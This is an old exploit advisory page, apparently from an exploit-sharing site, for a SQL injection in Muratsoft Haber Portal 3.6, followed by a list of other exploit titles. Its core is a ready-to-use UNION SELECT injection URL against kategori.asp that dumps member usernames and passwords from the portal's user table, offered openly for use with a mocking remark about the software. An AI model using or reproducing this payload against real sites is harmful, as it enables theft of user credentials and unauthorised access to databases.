exploits , vulnerabilities , articles , Muratsoft Haber Portal 3.6 (tr) Remote SQL Injection Vulnerability

2006-09-04

Muratsoft Haber Portal 3.6 (tr) Remote SQL Injection Vulnerability

Rated as : Moderate RIisk

#Muratsoft Haber Portal v3.6 (tr) SQL Injection Vulnerability
#Author : ASIANEAGLE
#Site   : www.asianeagle.org
#Contact: admin@asianeagle.org


#Link           : http://www.aspindir.com/Goster/4350
#Demo Portal    : http://www.muratsoft.com/haber/www/
#Price of Portal: 300YTL // Good money for Bad Script

#Exploit : 
 www.site.com /[portal
path]/kategori.asp?kat=-1%20union%20select%200,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13,14%20from%20uyeler%20where%20U_ID%20like%201

#BURCU Seni hep sevdim hep sevicem.
securitydot.net - 2006-09-04

Exploits - newest 10 RSS | More

2007-06-15 57323 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 34246 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 42480 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 29364 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19794 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16729 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19436 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16618 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33640 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 17254 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit